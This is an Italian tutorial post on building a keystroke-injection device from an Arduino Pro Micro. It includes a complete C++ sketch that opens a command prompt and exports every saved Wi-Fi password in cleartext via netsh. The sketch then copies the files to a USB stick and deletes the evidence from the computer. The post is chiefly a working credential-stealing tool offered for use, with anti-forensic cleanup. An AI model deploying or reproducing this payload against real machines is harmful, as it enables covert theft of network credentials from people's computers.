Oggi vediamo un semplice script in C ++ caricato su Arduino pro micro , che ci permette di estrarre le chiavi Wifi a cui si é conesso il nostro computer .
Arduino pro micro é una scheda di sviluppo molto piccola , che ci permette di simulare qualsiasi keystrokes della nostra tastiera in autonomia e molto velocemente , caricando semplicemente lo script e collegando la scheda al nostro computer .
Setup di Arduino pro micro :
Per prima cosa , ovviamente , dovete disporre della scheda , la potete trovare molto facilmente su Amazon ,sui 15/20 euro , ci sono diversi modelli ma bisogna fare attenzione a quello che si compra (ci sono molte repliche) , io personalmente non ho acquistato il modello ufficiale ma funziona perfettamente : https://amzn.eu/d/2wn7gxe .
L'unico difetto di questo modello é che non ha un tasto di reset , quindi fate attenzione a non caricare script troppo malevoli , perché verranno eseguiti per primi sul vostro computer . Se avete eseprienza hardware , nel saldare e creare circuiti , tramite gli headers forniti da arduino potete collegare la scheda a quella di espansione , creando cosí un tasto di reset.
Il nostro ambiente di sviluppo sará Arduino IDE che potete scaricare dal sito ufficiale https://www.arduino.cc/en/software.
Librerie di cui avremo bisogno :
- Keyboard , che potete scaricare direttamente dall'IDE nella sezione Strumenti / Gestione-Librerie.
- DigiKeyboard , scaricabile sempre nella sezione Strumenti / Gestione-Librerie
- Digistump , scaricabile da github tramite https://github.com/digistump/DigistumpArduino/releases
(trovate anche il tutorial dell'installazione) .
Passiamo al lato script :
Gli script utlizzabili su Arduino pro micro sono gli stessi di Rubber Ducky, ma convertiti in C ++ , proprio per questo viene chiamato Duckino. La sintassi degli script di Rubber Ducky é molto semplice e non occorre nessun editor , qui potete convertire gli script https://d4n5h.github.io/Duckuino/ (Ducky --> Arduino).
L'unico problema di Arduino é che la tastiera che simula i keystrokes utilizza il formato Ascii US (tastiera americana) , risolvibil cambiando il file (cercate un tutorial) , oppure scrivendo i caratteri italiani tramite la tastiera americana( personalmente faccio cosí ) es: "/ " (US ) = "& " (ITA, scritto con tastiera americana)
Script per estrarre le chiavi Wifi :
Avremmo bisogno di :
- Arduino pro micro
- Cavo micro usb
- Normale chiavetta USB
//--IMPORT LIBRARY
#include "Keyboard.h"
void typeKey(int key)
{
Keyboard.press(key);
delay(20);
Keyboard.release(key);
}
void setup(){
Keyboard.begin();
delay(500);
// ---THIS SCRIPT IS CREATED BY Zer0Day---
// ---THIS SCRIPT CREATES A DIRECTORY WITH INSIDE THE FILES CONTAINING THE PASSWORDS OF EVERY WI FI NETWORK TO WHICH THE COMPUTER IS CONNECTED----
//--CHANGE THE FILE PATH OF YOUR USB (C:\> , E:\> , F:\> ...**//---\
// ---VERSION FOR ITALIAN KEYBOARD ---//
delay(1500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(120);
typeKey(KEY_DELETE);
typeKey(KEY_DELETE);
delay(150);
Keyboard.print("cmd");
delay(200);
typeKey(KEY_RETURN);
delay(400);
// ---MOVE TO MAIN DRIVE (C:\>)---
Keyboard.print("cd &");
typeKey(KEY_RETURN);
delay(150);
// ---CREATE DIRECTORY---
Keyboard.print("mkdir Wifi?key");
typeKey(KEY_RETURN);
delay(200);
// ---MOVE TO DIRECTORY---
Keyboard.print("cd Wifi?key");
typeKey(KEY_RETURN);
delay(100);
// ---EXTRACT WIFI KEY---
Keyboard.print("netsh wlan export profile key)clear");
typeKey(KEY_RETURN);
delay(100);
// ---COPY FILE IN YOUR USB---
Keyboard.print("xcopy C>`Wifi?key D>``"); //CHANGE THE PATH FOR YOU USB , ES: D ,E,F ..
typeKey(KEY_RETURN);
delay(900);
// ---RETURN TO MAIN DRIVE---
Keyboard.print(" cd &");
typeKey(KEY_RETURN);
delay(150);
// ---REMOVE FILE FROM PC---
Keyboard.print("del C>`Wifi?key");
typeKey(KEY_RETURN);
delay(100);
Keyboard.print("S");
typeKey(KEY_RETURN);
delay(100);
// ---REMOVE DIRECTORY FROM PC---
Keyboard.print("rmdir C>``Wifi?key");
typeKey(KEY_RETURN);
delay(150);
Keyboard.print("exit");
typeKey(KEY_RETURN);
// ---YOU WILL FIND THE DIRECTORY WITH THE PASSWORDS SAVED IN YOUR USB ---
// Ending stream
Keyboard.end();
}
/* endless loop */
void loop() {}
Se volete altri post riguardanti questo argomento o la spiegazione del codice fatemelo sapere .
Buona giornata 😁